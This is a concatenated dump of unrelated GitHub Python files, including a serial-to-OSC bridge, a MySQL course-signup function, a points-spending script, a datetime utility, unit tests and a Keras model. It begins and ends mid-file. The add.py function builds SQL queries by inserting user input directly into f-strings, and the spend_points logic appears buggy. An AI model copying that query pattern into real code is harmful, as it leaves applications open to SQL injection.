we don't load the cpu to mutch..\n        self.ser = serial.serial_for_url(\n            self.device,\n            baudrate=self.baudrate,\n            timeout=0.1,\n            do_not_open=True\n        )\n        self.sio = io.TextIOWrapper(\n            io.BufferedRWPair(self.ser, self.ser)\n        )\n        # http://stackoverflow.com/a/16961872/574981\n        # self.sio = io.TextIOWrapper(\n        #     io.BufferedRWPair(self.ser, self.ser, 1),\n        #     newline='\\n',\n        #     line_buffering=True\n        # )\n\n        self.buffer = \"\"\n\n    def open(self):\n        \"\"\"Open the Serial port.\"\"\"\n        # print(\"open():\")\n        if not self.ser.is_open:\n            try:\n                self.ser.open()\n            except serial.serialutil.SerialException as e:\n                error_message = (\n                    \"Port {} is already in use by other program: {}\"\n                    .format(\n                        self.ser.port,\n                        e\n                    )\n                )\n                print(error_message)\n                # if thread is running stop it.\n                self._shutdown.set()\n            else:\n                print(\"opened serial device '{}'\".format(self.device))\n        # print(\" is_open:\", self.ser.is_open)\n\n    def close(self):\n        \"\"\"Close the Serial port.\"\"\"\n        if self.ser.is_open:\n            print(\"close port:\")\n            self.ser.close()\n\n    def read_line_nonblocking(self):\n        \"\"\"Read serial message and put in queue.\"\"\"\n        # last_line = None\n        line = None\n        if self.ser.is_open:\n            ser = self.ser\n            sio = self.sio\n            try:\n                # lines = sio.readlines()\n                # part = None\n                part = sio.readline()\n                # line = ser.readline()\n            except serial.serialutil.SerialException as e:\n                error_message = (\n                    \"readlines failed at port {}: {}\"\n                    .format(\n                        ser.port,\n                        e\n                    )\n                )\n                print(error_message)\n                self.close()\n                self._shutdown.set()\n            else:\n                # if line:\n                #     print(\"line: '{}'\".format(line))\n                # if len(lines) > 0:\n                #     print(lines)\n                #     line = lines[len(lines)-1]\n                #     print(line)\n                if part:\n                    self.buffer += part\n                    if self.buffer.endswith('\\n'):\n                        # line is fully there.\n                        # copy to line\n                        line = self.buffer\n                        # clear buffer\n                        self.buffer = \"\"\n                        # print(\"line: '{}'\".format(line))\n        return line\n\n    def send(self, message):\n        \"\"\"Send serial message.\"\"\"\n        if self.ser.is_open:\n            # print(\"send: \" + message)\n            self.sio.write(message)\n            # this it is buffering. required to get the data out *now*\n            self.sio.flush()\n\n    def run(self):\n        \"\"\"Handle incomming and outgoing serial treffic.\"\"\"\n        while not self._shutdown.is_set():\n            # sleep for 0.0001s = 0.1ms\n            # time.sleep(0.0001)\n            # time.sleep(0.1)\n            if self.ser.is_open:\n                # check for new content\n                line = self.read_line_nonblocking()\n                if line:\n                    # print(\"line: '{}'\".format(line))\n                    self.rx_queue.put(line)\n                    # print(\"rx_queue.qsize: '{}'\".format(\n                    #     self.rx_queue.qsize()\n                    # ))\n\n                # check if there is data to send.\n                try:\n                    message = self.tx_queue.get_nowait()\n                except queue.Empty:\n                    # thats fine :-)\n                    pass\n                else:\n                    self.send(message)\n                pass\n            else:\n                # try to open\n                self.open()\n        # loop has exited.\n        # make sure we close the port on exit..\n        self.close()\n\n    def shutdown(self):\n        \"\"\"Shutdown Serial Port.\"\"\"\n        self._shutdown.set()\n\n\nclass Serial2OSC(threading.Thread):\n    \"\"\"Threaded serial to osc conversion.\"\"\"\n\n    def __init__(self, target_ip, target_port, rx_queue):\n        \"\"\"Init.\"\"\"\n        super(Serial2OSC, self).__init__()\n\n        self._shutdown = threading.Event()\n\n        self.rx_queue = rx_queue\n        self.target_ip = target_ip\n        self.target_port = target_port\n\n        self.osc_client = udp_client.SimpleUDPClient(\n            self.target_ip,\n            self.target_port\n        )\n\n    def handle_serial_message(self, message):\n        \"\"\"Process an incomming serial message.\"\"\"\n        # print(message)\n        # print(\"message: '{}'\".format(message))\n        if message.startswith(\"/fader/\"):\n            address, sep, value = message.rpartition(':')\n            value = int(value)\n            if value > 15:\n                # convert value range:\n                # from 0..800\n                # to 0..1\n                # max check\n                if value > 650:\n                    value = 650\n                value = value/650\n                # print(\n                #     \"address: {}; \"\n                #     \"value: {};\"\n                #     \"\".format(\n                #         address,\n                #         value\n                #     )\n                # )\n                self.osc_client.send_message(\n                    address,\n                    value\n                )\n                # self.osc_client.send_message(\n                #     \"/fader/\",\n                #     random.random()\n                # )\n\n    def run(self):\n        \"\"\"Run - waits for incomming serial messages.\"\"\"\n        while not self._shutdown.is_set():\n            # check if there is data to send.\n            try:\n                # just sleep 0.001s = 1ms to get processor use down.\n                # time.sleep(0.001)\n                # better use a timeout - thats ative waiting!\n                # timeout after 0.1s = 100ms\n                message = self.rx_queue.get(block=True, timeout=0.1)\n                # message = self.rx_queue.get_nowait()\n            except queue.Empty:\n                # thats fine :-)\n                pass\n            else:\n                self.handle_serial_message(message)\n\n    def shutdown(self):\n        \"\"\"Shutdown Serial handling.\"\"\"\n        self._shutdown.set()\n\n\nclass OSC2Serial(threading.Thread):\n    \"\"\"Threaded osc to serial conversion.\"\"\"\n\n    def __init__(self, listen_ip, listen_port, tx_queue):\n        \"\"\"Init Class.\"\"\"\n        super(OSC2Serial, self).__init__()\n\n        self._shutdown = threading.Event()\n\n        self.listen_ip = listen_ip\n        self.listen_port = listen_port\n        self.tx_queue = tx_queue\n\n        self.channel_count = 512\n        # self.channel_count_bytes = struct.pack(\"H\", self.channel_count)\n\n        # prepare temp array\n        # self.data = array.array('B')\n        # self.data *= self.channel_count\n\n        self.dispatcher = dispatcher.Dispatcher()\n\n        self.setup_dispatcher()\n\n        # self.osc_server = osc_server.ForkingOSCUDPServer(\n        self.osc_server = osc_server.ThreadingOSCUDPServer(\n            (self.listen_ip, self.listen_port),\n            self.dispatcher\n        )\n\n    def setup_dispatcher(self):\n        \"\"\"Setup osc listening addresses.\"\"\"\n        # /QLC+ universe - 1/dmx/DMX channel - 1\n        self.dispatcher.map(\"/0/dmx/*\", self.handle_osc_message)\n\n    def handle_osc_message(self, osc_addr, osc_message):\n        \"\"\"Handle osc messages.\"\"\"\n        # check for new content\n        if osc_message:\n            # print(\"{}: {}\".format(osc_addr, osc_message))\n            # extract data\n            channel_id = int(osc_addr[osc_addr.rfind('/')+1:])\n            # convert from 0..1 to 0..255\n            channel_value = int(255 * osc_message)\n\n            # print(\n            #     \"channel_id: {}; \"\n            #     \"channel_value: {};\"\n            #     \"\".format(\n            #         channel_id,\n            #         channel_value\n            #     )\n            # )\n\n            # self.data[channel_id] = channel_value\n\n            serial_message = \"dmx/{:d}:{:d}\\n\".format(\n                channel_id,\n                channel_value\n            )\n            # print(serial_message)\n            self.tx_queue.put(\n                serial_message\n            )\n\n            # self.tx_queue.put(\n            #     self.create_serial_dmx_message()\n            # )\n\n    # def create_serial_dmx_message(self):\n    #     \"\"\"Format dmx data as serial message.\"\"\"\n    #     # format: dmxSS/_____\n    #     # SS = 2byte size\n    #     # ____ channels each 1Byte\n    #     return (\n    #         \"dmx\" +\n    #         struct.pack(\"H\", len(self.data)) +\n    #         \"/\" +\n    #         self.data.tostring()\n    #     )\n\n    def run(self):\n        \"\"\"Run osc server.\"\"\"\n        self.osc_server.serve_forever()\n\n    def shutdown(self):\n        \"\"\"Shutdown osc server.\"\"\"\n        # active_children is possible by ForkingOSCUDPServer\n        # if self.osc_server.active_children:\n        #     print(\"osc_server.shutdown()\")\n        #     self.osc_server.shutdown()\n        self.osc_server.shutdown()\n\n\n##########################################\ndef handle_userinput(user_input):\n    \"\"\"Handle userinput in interactive mode.\"\"\"\n    global flag_run\n    if user_input == \"q\":\n        flag_run = False\n        print(\"stop script.\")\n    elif user_input.startswith(\"x\"):\n        # do something?!\n        pass\n    else:\n        flag_run = False\n        print(\"stop script.\")\n\n\n##########################################\nif __name__ == '__main__':\n\n    print(42*'*')\n    print('Python Version: ' + sys.version)\n    print(42*'*')\n\n    ##########################################\n    # commandline arguments\n    # filename_default = \"./pattern.json\"\n    osc_target_ip_default = \"127.0.0.1\"\n    osc_target_port_default = 7700\n    # osc_target_port_default = 7706\n    osc_listen_port_default = 9000\n    # osc_listen_port_default = 9006\n\n    serial_device_default = \"/dev/ttyACM0\"\n\n    parser = argparse.ArgumentParser(\n        description=\"OSC-Serial bridge\"\n    )\n    # parser.add_argument(\n    #     \"-c\",\n    #     \"--config\",\n    #     help=\"specify a location for the config file (defaults to {})\".\n    #     format(\n    #         filename_default\n    #     ),\n    #     metavar='FILENAME',\n    #     default=filename_default\n    # )\n    parser.add_argument(\n        \"--osc-target-ip\",\n        help=\"osc target ip\",\n        metavar='osc_target_ip',\n        default=osc_target_ip_default\n    )\n    parser.add_argument(\n        \"--osc-target-port\",\n        help=\"osc target port\",\n        metavar='osc_target_port',\n        default=osc_target_port_default\n    )\n    parser.add_argument(\n        \"--osc-listen-port\",\n        help=\"osc listen port\",\n        metavar='osc_listen_port',\n        default=osc_listen_port_default\n    )\n    parser.add_argument(\n        \"-d\",\n        \"--serial-device\",\n        help=\"serial device\",\n        metavar='serial_device',\n        default=serial_device_default\n    )\n    parser.add_argument(\n        \"-i\",\n        \"--interactive\",\n        help=\"run in interactive mode\",\n        action=\"store_true\"\n    )\n    parser.add_argument(\n        \"-v\",\n        \"--verbose\",\n        help=\"show advanced log information\",\n        action=\"store_true\"\n    )\n    args = parser.parse_args()\n\n    ##########################################\n    # prepare\n    if args.interactive:\n        print(42*'*')\n        print(__doc__)\n        print(42*'*')\n\n    # init flag_run\n    flag_run = False\n\n    # helper\n    def _exit_helper(signal, frame):\n        \"\"\"Stop loop.\"\"\"\n        global flag_run\n        flag_run = False\n\n    # setup termination and interrupt handling:\n    signal.signal(signal.SIGINT, _exit_helper)\n    signal.signal(signal.SIGTERM, _exit_helper)\n\n    ##########################################\n    # main logic\n\n    serial_tx_queue = queue.Queue()\n    serial_rx_queue = queue.Queue()\n\n    mySerialHandler = SerialHandler(\n        args.serial_device,\n        serial_rx_queue,\n        serial_tx_queue\n    )\n\n    mySerial2OSC = Serial2OSC(\n        args.osc_target_ip,\n        args.osc_target_port,\n        serial_rx_queue\n    )\n\n    myOSC2Serial = OSC2Serial(\n        \"127.0.0.1\",\n        args.osc_listen_port,\n        serial_tx_queue\n    )\n\n    ##########################################\n    # start things\n\n    print(\"start\")\n    print(\"* mySerialHandler\")\n    mySerialHandler.start()\n    print(\"* mySerial2OSC\")\n    mySerial2OSC.start()\n    print(\"* myOSC2Serial\")\n    myOSC2Serial.start()\n\n    print(\"running...\\n\")\n\n    ##########################################\n\n    if args.interactive:\n        # wait for user to hit key.\n        flag_run = True\n        while flag_run:\n\n            message = (\n                \"\\n\" +\n                42*'*' + \"\\n\"\n                \" -\"\n                \"Ctrl+C or 'q' to stop script\\n\" +\n                42*'*' + \"\\n\"\n                \"\\n\"\n            ).format(\n                \"\"\n            )\n            try:\n                if sys.version_info.major >= 3:\n                    # python3\n                    user_input = input(message)\n                elif sys.version_info.major == 2:\n                    # python2\n                    user_input = raw_input(message)\n                else:\n                    # no input methode found.\n                    value = \"q\"\n            except KeyboardInterrupt:\n                print(\"\\nstop script.\")\n                flag_run = False\n            except EOFError:\n                print(\"\\nstop script.\")\n                flag_run = False\n            except Exception as e:\n                print(\"unknown error: {}\".format(e))\n                flag_run = False\n                print(\"stop script.\")\n            else:\n                try:\n                    if len(user_input) > 0:\n                        handle_userinput(user_input)\n                except Exception as e:\n                    print(\"unknown error: {}\".format(e))\n                    flag_run = False\n                    print(\"stop script.\")\n    # if not interactive\n    else:\n        # just wait\n        flag_run = True\n        print(\"(terminate with Ctrl+C)\")\n        try:\n            while flag_run:\n                time.sleep(1)\n        except KeyboardInterrupt:\n            print(\"\\nstop script.\")\n            flag_run = False\n\n    # newline\n    print()\n\n    # shtudown all other threads:\n    print(\"send shutdown to\")\n    print(\"* mySerialHandler\")\n    mySerialHandler.shutdown()\n    print(\"* mySerial2OSC\")\n    mySerial2OSC.shutdown()\n    print(\"* myOSC2Serial\")\n    myOSC2Serial.shutdown()\n\n    # block untill threads have joined.\n    print(\"wait for join...\")\n    helper_join(mySerialHandler)\n    helper_join(mySerial2OSC)\n    helper_join(myOSC2Serial)\n\n    ##########################################\n    print(\"script end.\")\n    ##########################################\n","repo_name":"s-light/osc_serial_bridge","sub_path":"osc_serial_bridge.py","file_name":"osc_serial_bridge.py","file_ext":"py","file_size_in_byte":17014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18869861156","text":"import pymysql\nimport os\n\ndef add(course_num, phone_num):\n    db = pymysql.connect(host=os.environ['DB_HOST'],user=os.environ['DB_USER'],\\\n                         password=os.environ['DB_PASSWORD'],database=os.environ['DB_DATABASE'], port=3306 )\n\n    cursor = db.cursor()\n\n    query = f'SELECT COUNT(*) FROM Courses WHERE CourseNumber = \"{course_num}\"'\n\n    cursor.execute(query)\n\n    result = cursor.fetchone()\n\n    if result[0] == 0:\n        query = f'INSERT INTO Courses (CourseNumber, LastAccessed) VALUES (\"{course_num}\", 0.0);'\n\n        cursor.execute(query)\n\n        db.commit()\n\n\n\n    query = f'Select COUNT(*) FROM PhoneNumbers WHERE CourseNumber = \"{course_num}\" && PhoneNumber = \"{phone_num}\"'\n\n    cursor.execute(query)\n\n    result = cursor.fetchone()\n\n    if result[0] > 0:\n        raise Exception('Duplicate Record')\n\n    query = f'INSERT INTO PhoneNumbers (PhoneNumber, CourseNumber) VALUES (\"{phone_num}\", \"{course_num}\");'\n\n    cursor.execute(query)\n\n    db.commit()\n\n    db.close()","repo_name":"AlexFetea/ClassNotifier","sub_path":"add.py","file_name":"add.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71080491603","text":"\"\"\" \nCrie um programa que verifique se uma letra digitada é \"F\" ou \"M\". \nConforme a letra escrever: F - Feminino, M - Masculino, caso escreva \noutra letra: Sexo Inválido.\n\"\"\"\n\nsexo = input(\"Qual seu sexo biológico? [F/M]: \").upper().strip()[0]\n\n\"\"\" if sexo == 'F':\n    print(\"\\nFeminino.\")\nelif sexo == 'M':\n    print(\"\\nMasculino.\")\nelse:\n    print(\"\\nSexo biológico inválido.\") \"\"\"\n\n# Diferentão\n\nif sexo == 'M' or sexo == 'F':\n    print(\"\\nMasculino\") if sexo == 'M' else print('\\nFeminino')\nelse:\n    print(\"\\nSexo biológico inválido.\")\n","repo_name":"ArseniumGX/bluemer-modulo1-python","sub_path":"aula4/exercicio4.py","file_name":"exercicio4.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6300201224","text":"import sys\nimport csv\nfrom datetime import datetime\n\ndef spend_points(points_to_spend, transactions):\n    # Sort transactions by timestamp\n    transactions = sorted(transactions, key=lambda x: x[\"timestamp\"])\n    \n    # Create a dictionary to track payer balances\n    payer_balances = {}\n    \n    # Calculate initial total balances for every single payer\n    for transaction in transactions:\n        payer = transaction[\"payer\"]\n        points = transaction[\"points\"]\n        if payer not in payer_balances:\n            payer_balances[payer] = 0\n        payer_balances[payer] += points\n    \n    # Calculate initial total balances for every single payer\n    for trancs in transactions:\n        payer = trancs[\"payer\"]\n        points = trancs[\"points\"]\n        points_to_spend = points_to_spend - points\n        if points_to_spend < 0:\n            payer_balances[payer] = -1 * points_to_spend\n            break\n        else:\n            payer_balances[payer] = payer_balances[payer] - points\n        \n    return(payer_balances)\n\nif __name__ == '__main__':\n    # get command-line arguments\n    points_to_spend = int(sys.argv[1])\n    transactions_file = sys.argv[2]\n\n    # read transactions from CSV file\n    transactions = []\n    with open(transactions_file, 'r') as csvfile:\n        reader = csv.DictReader(csvfile)\n        for row in reader:\n            # convert timestamp string to datetime object\n            timestamp_str = row['timestamp'].replace('Z', '')\n            row['timestamp'] = datetime.fromisoformat(timestamp_str)\n            # convert points string to int\n            row['points'] = int(row['points'])\n            transactions.append(row)\n\n    # spend points and return payer balances\n    balances = spend_points(points_to_spend, transactions)\n    print(balances)","repo_name":"gaurav0720/Backend-Task","sub_path":"spend.py","file_name":"spend.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23869360490","text":"import chunk\nimport hashlib\nimport json\n\n\n# for i in range(1, 1):\norigin_path = \"../datasets/netflix/part-0\"+str(1)+\".json\"\n#origin_path = \"../datasets/netflix/sample.json\"\ndes_path = \"../datasets/proc_netflix/pre_part-0\"+str(1)+\".json\"\nwith open(origin_path) as f:\n    data = json.load(f)\n\n\nfor item in data:\n    item['review_id'] = abs(hash(item['review_id'])) % (10 ** 8)\n    item['reviewer'] = abs(hash(item['reviewer'])) % (10 ** 8)\n    del item['review_detail']\n\n    if item['rating'] != None:\n        item['rating'] = int(item['rating'])\n    else:\n        item['rating'] = 0\nwith open(des_path, 'w') as f:\n    json.dump(data, f)\n","repo_name":"Hanifff/rs","sub_path":"preproces_netflix.py","file_name":"preproces_netflix.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23871536865","text":"\"\"\"Tools file for Supervisor.\"\"\"\nfrom contextlib import suppress\nfrom datetime import datetime, timedelta, timezone, tzinfo\nimport re\nfrom typing import Any\nimport zoneinfo\n\nimport ciso8601\n\nUTC = timezone.utc\n\n\n# Copyright (c) Django Software Foundation and individual contributors.\n# All rights reserved.\n# https://github.com/django/django/blob/master/LICENSE\nDATETIME_RE = re.compile(\n    r\"(?P<year>\\d{4})-(?P<month>\\d{1,2})-(?P<day>\\d{1,2})\"\n    r\"[T ](?P<hour>\\d{1,2}):(?P<minute>\\d{1,2})\"\n    r\"(?::(?P<second>\\d{1,2})(?:\\.(?P<microsecond>\\d{1,6})\\d{0,6})?)?\"\n    r\"(?P<tzinfo>Z|[+-]\\d{2}(?::?\\d{2})?)?$\"\n)\n\n\n# Copyright (c) Django Software Foundation and individual contributors.\n# All rights reserved.\n# https://github.com/django/django/blob/master/LICENSE\ndef parse_datetime(dt_str):\n    \"\"\"Parse a string and return a datetime.datetime.\n\n    This function supports time zone offsets. When the input contains one,\n    the output uses a timezone with a fixed offset from UTC.\n    Raises ValueError if the input is well formatted but not a valid datetime.\n    Returns None if the input isn't well formatted.\n    \"\"\"\n    with suppress(ValueError, IndexError):\n        return ciso8601.parse_datetime(dt_str)\n\n    match = DATETIME_RE.match(dt_str)\n    if not match:\n        return None\n    kws: dict[str, Any] = match.groupdict()\n    if kws[\"microsecond\"]:\n        kws[\"microsecond\"] = kws[\"microsecond\"].ljust(6, \"0\")\n    tzinfo_str = kws.pop(\"tzinfo\")\n\n    tzinfo_val: tzinfo | None = None\n    if tzinfo_str == \"Z\":\n        tzinfo_val = UTC\n    elif tzinfo_str is not None:\n        offset_mins = int(tzinfo_str[-2:]) if len(tzinfo_str) > 3 else 0\n        offset_hours = int(tzinfo_str[1:3])\n        offset = timedelta(hours=offset_hours, minutes=offset_mins)\n        if tzinfo_str[0] == \"-\":\n            offset = -offset\n        tzinfo_val = timezone(offset)\n    else:\n        tzinfo_val = None\n    kws = {k: int(v) for k, v in kws.items() if v is not None}\n    kws[\"tzinfo\"] = tzinfo_val\n    return datetime(**kws)\n\n\ndef utcnow() -> datetime:\n    \"\"\"Return the current timestamp including timezone.\"\"\"\n    return datetime.now(UTC)\n\n\ndef utc_from_timestamp(timestamp: float) -> datetime:\n    \"\"\"Return a UTC time from a timestamp.\"\"\"\n    return datetime.utcfromtimestamp(timestamp).replace(tzinfo=UTC)\n\n\ndef get_time_zone(time_zone_str: str) -> tzinfo | None:\n    \"\"\"Get time zone from string. Return None if unable to determine.\"\"\"\n    try:\n        return zoneinfo.ZoneInfo(time_zone_str)\n    except zoneinfo.ZoneInfoNotFoundError:\n        return None\n","repo_name":"home-assistant/supervisor","sub_path":"supervisor/utils/dt.py","file_name":"dt.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","stars":1510,"dataset":"github-code","pt":"3"}
+{"seq_id":"46435224418","text":"#!/usr/bin/env python3\n\nimport unittest\n\nfrom algorithms import normalize_board, get_all_paths, get_winner\nfrom enum import Enum\n\n\nclass V(Enum):\n    E = 0\n    R = 1\n    W = 2\n    T = 3\n\n\nclass TestAStar(unittest.TestCase):\n    def test_normalize_board(self):\n\n        result = normalize_board(\n            [\n                [V.T, V.R, V.R, V.T, V.E],\n                [V.W, V.E, V.E, V.R, V.E],\n                [V.W, V.E, V.E, V.R, V.E],\n                [V.W, V.E, V.E, V.R, V.E],\n                [V.T, V.R, V.R, V.T, V.E],\n            ],\n            [V.T, V.R],\n        )\n\n        self.assertEqual(\n            result,\n            [\n                [1, 1, 1, 1, 0],\n                [0, 0, 0, 1, 0],\n                [0, 0, 0, 1, 0],\n                [0, 0, 0, 1, 0],\n                [1, 1, 1, 1, 0],\n            ],\n        )\n\n        result = normalize_board(\n            [\n                [V.T, V.R, V.R, V.T, V.E],\n                [V.W, V.E, V.E, V.R, V.E],\n                [V.W, V.E, V.E, V.R, V.E],\n                [V.W, V.E, V.E, V.R, V.E],\n                [V.T, V.R, V.R, V.T, V.E],\n            ],\n            [V.T, V.W],\n        )\n\n        self.assertEqual(\n            result,\n            [\n                [1, 0, 0, 1, 0],\n                [1, 0, 0, 0, 0],\n                [1, 0, 0, 0, 0],\n                [1, 0, 0, 0, 0],\n                [1, 0, 0, 1, 0],\n            ],\n        )\n\n    def test_get_all_paths(self):\n        result = get_all_paths(\n            [\n                [1, 0, 0, 1, 0],\n                [1, 0, 0, 0, 0],\n                [1, 0, 0, 0, 0],\n                [1, 0, 0, 0, 0],\n                [1, 0, 0, 1, 0],\n            ],\n            [(0, 0), (4, 0), (0, 3), (4, 3)],\n        )\n\n        self.assertEqual(result, [((0, 0), (4, 0))])\n\n        result = get_all_paths(\n            [\n                [1, 1, 1, 1, 0],\n                [1, 0, 0, 1, 0],\n                [1, 0, 0, 1, 0],\n                [1, 0, 0, 1, 0],\n                [1, 0, 0, 1, 0],\n            ],\n            [(0, 0), (4, 0), (0, 3), (4, 3)],\n        )\n\n        self.assertTrue(((0, 0), (4, 0)) in result)\n        self.assertTrue(((0, 0), (0, 3)) in result)\n        self.assertTrue(((0, 3), (4, 3)) in result)\n\n    def test_get_winner(self):\n        result = get_winner(\n            [\n                [V.T, V.R, V.R, V.T, V.E],\n                [V.W, V.E, V.E, V.R, V.E],\n                [V.W, V.E, V.E, V.R, V.E],\n                [V.W, V.E, V.E, V.R, V.E],\n                [V.T, V.R, V.R, V.T, V.E],\n            ],\n            tower_positions=[(0, 0), (4, 0), (0, 3), (4, 3)],\n            tower_value=V.T,\n            red_value=V.R,\n            white_value=V.W,\n        )\n\n        self.assertEqual(result, \"red\")\n\n    def test_get_winner_draw(self):\n        result = get_winner(\n            [\n                [V.T, V.E, V.E, V.T, V.E],\n                [V.W, V.E, V.E, V.R, V.E],\n                [V.W, V.E, V.E, V.R, V.E],\n                [V.W, V.E, V.E, V.R, V.E],\n                [V.T, V.E, V.E, V.T, V.E],\n            ],\n            tower_positions=[(0, 0), (4, 0), (0, 3), (4, 3)],\n            tower_value=V.T,\n            red_value=V.R,\n            white_value=V.W,\n        )\n\n        self.assertEqual(result, \"draw\")\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"maylisdet/nomad-game","sub_path":"src/algorithms/tests/nomad_test.py","file_name":"nomad_test.py","file_ext":"py","file_size_in_byte":3260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5763877092","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n\n\n\n# In[1]:\n\n\n#モジュールの読み込み\nfrom __future__ import print_function\n\nimport pandas as pd\nfrom pandas import Series,DataFrame\n\nfrom sklearn import svm\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport keras\nfrom keras.datasets import fashion_mnist\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout\nfrom keras.optimizers import RMSprop\nfrom keras.optimizers import Adam\n\n\n# In[2]:\n\n\n#CSVファイルの読み込み\ndata_set = pd.read_csv(\"data.csv\",sep=\",\",header=0)\n\n#data_set.head(3)\n\n\n# In[3]:\n\n\n#time をone hotラベルに\n\nimport category_encoders as ce\n\n# Eoncodeしたい列をリストで指定。もちろん複数指定可能。\nlist_cols = ['time']\n\n# OneHotEncodeしたい列を指定。Nullや不明の場合の補完方法も指定。\n#ce_ohe = ce.OneHotEncoder(cols=list_cols,handle_unknown='impute')\nce_oe = ce.OrdinalEncoder(cols=list_cols,handle_unknown='impute')\n\n# pd.DataFrameをそのまま突っ込む\ndf_session_ce_ordinal = ce_oe.fit_transform(data_set)\n\n#df_session_ce_ordinal.head(350)\n\n\n# In[4]:\n\n\n#print(df_session_ce_ordinal.columns.values)\n\n\n# In[28]:\n\n\n\n# データの分割\n(train, test) = train_test_split(df_session_ce_ordinal, test_size=0.2, shuffle=True)\n\n#x_train = train.ix[:,['time','latitude','longitude']]\n\ndata_set.columns = ['time','country','case','cure','death','longitude','latitude']\n#   X = df.loc[:,'v1':'a3']\n#    y = df['loss']\n    \ndef norm(x):\n    mean = np.mean(x)\n    std = np.std(x)\n    return (x - mean) / std\n\nx_train = train.loc[:, ['time','longitude','latitude']]\ny_train = train.loc[:, ['case','cure','death']]\n#y_train = train.loc[:, ['case']]\n\nx_train = norm(x_train)\ny_train = norm(y_train)\n\nx_test = test.loc[:, ['time','longitude','latitude']]\ny_test = test.loc[:, ['case','cure','death']]\n#y_test = test.loc[:, ['case']]\n\nx_test = norm(x_test)\ny_test = norm(y_test)\n\n#データの整形\nx_train = x_train.astype(np.float)\nx_test = x_test.astype(np.float)\n\ny_train = y_train.astype(np.float)\ny_test = y_test.astype(np.float)\n\n\n# In[40]:\n\n\n#x_train\n\n\n# In[41]:\n\n\n#y_train\n\n\n# In[39]:\n\n\nfrom keras.callbacks import EarlyStopping, ReduceLROnPlateau\nfrom keras import regularizers\n\n\n#ニューラルネットワークの実装\nmodel = Sequential()\n\nmodel.add(Dense(600, activation='relu', kernel_regularizer=keras.regularizers.l2(0.001),input_shape=(3,)))\n#model.add(Dropout(0.1))\n\nmodel.add(Dense(600, activation='relu',kernel_regularizer=keras.regularizers.l2(0.001), input_shape=(3,)))\n#model.add(Dropout(0.1))\n\nmodel.add(Dense(600, activation='relu',kernel_regularizer=keras.regularizers.l2(0.001), input_shape=(3,)))\n#model.add(Dropout(0.1))\n\nmodel.add(Dense(3, activation='linear'))\n\n\n\n\nmodel.summary()\nprint(\"\\n\")\n\n#ニューラルネットワークの実装②\nmodel.compile(optimizer='adam', loss='mean_squared_error', metrics=['mean_squared_error'])\n\n\nearly_stopping = EarlyStopping(\n                        monitor='val_loss',\n                        min_delta=0.0,\n                        patience=50,\n                )\n\n# val_lossの改善が2エポック見られなかったら、学習率を0.5倍する。\nreduce_lr = ReduceLROnPlateau(\n                        monitor='val_loss',\n                        factor=0.7,\n                        patience=20,\n                        min_lr=0.001\n                )\n\n#ニューラルネットワークの学習\nhistory = model.fit(x_train, y_train,batch_size=200,epochs=100,verbose=1,validation_data=(x_test, y_test),callbacks=[early_stopping, reduce_lr])\n\n#ニューラルネットワークの推論\nscore = model.evaluate(x_test,y_test,verbose=1)\nprint(\"\\n\")\nprint(\"Test loss:\",score[0])\nprint(\"Test mean_squared_error\",score[1])\n\n\n\n#学習履歴のグラフ化に関する参考資料\n#http://aidiary.hatenablog.com/entry/20161109/1478696865\n\n\ndef plot_history(history):\n    # print(history.history.keys())\n\n    # 精度の履歴をプロット\n    plt.plot(history.history['mean_squared_error'])\n    plt.plot(history.history['val_mean_squared_error'])\n    plt.title('model mean_squared_error')\n    plt.xlabel('epoch')\n    plt.ylabel('mean_squared_error')\n    plt.legend(['mean_squared_error', 'val_mean_squared_error'], loc='lower right')\n    plt.show()\n\n    # 損失の履歴をプロット\n    plt.plot(history.history['loss'])\n    plt.plot(history.history['val_loss'])\n    plt.title('model loss')\n    plt.xlabel('epoch')\n    plt.ylabel('loss')\n    plt.legend(['loss', 'val_loss'], loc='lower right')\n    plt.show()\n\n# 学習履歴をプロット\nplot_history(history)\n\n#モデルの概要を表示\n#model.summary()\n\n\n\n\n\n","repo_name":"hamachi1201/CoronaAnalysis","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"47384997","text":"from typing import Tuple\nimport torch\nfrom torch import nn\nfrom torchvision import transforms\nfrom torchvision.models import vgg11_bn, vgg11, vgg16_bn, googlenet, alexnet, VGG11_BN_Weights, VGG11_Weights, VGG16_BN_Weights, GoogLeNet_Weights, AlexNet_Weights\nfrom settings.modules.utils import device\n\n\n\ndef get_googlenet(pretrained: bool) -> Tuple[nn.Module, str]:\n    model: nn.Module\n    if pretrained:\n        name = \"google_pr\"\n        model = googlenet(weights=GoogLeNet_Weights.DEFAULT, progress=True)\n    else:\n        raise NotImplementedError(\"No one cares\")\n    in_features = model.fc.in_features\n    model.fc = nn.Linear(in_features, 2)\n    return (model.to(device), name)\n\n\ndef get_alexnet(pretrained: bool) -> Tuple[nn.Module, str]:\n    model: nn.Module\n    if pretrained:\n        name = \"alexnet_pr\"\n        model = alexnet(weights=AlexNet_Weights.DEFAULT, progress=True)\n    else:\n        raise NotImplementedError(\"No one cares\")\n    in_features = model.classifier[6].in_features\n    model.classifier[6] = nn.Linear(in_features, 2)\n    return (model.to(device), name)\n\n\n\ndef get_vgg11(pretrained: bool) -> Tuple[nn.Module, str]:\n    model: nn.Module\n    name: str\n    if pretrained:\n        name = \"vgg11_bn_pr\"\n        model = 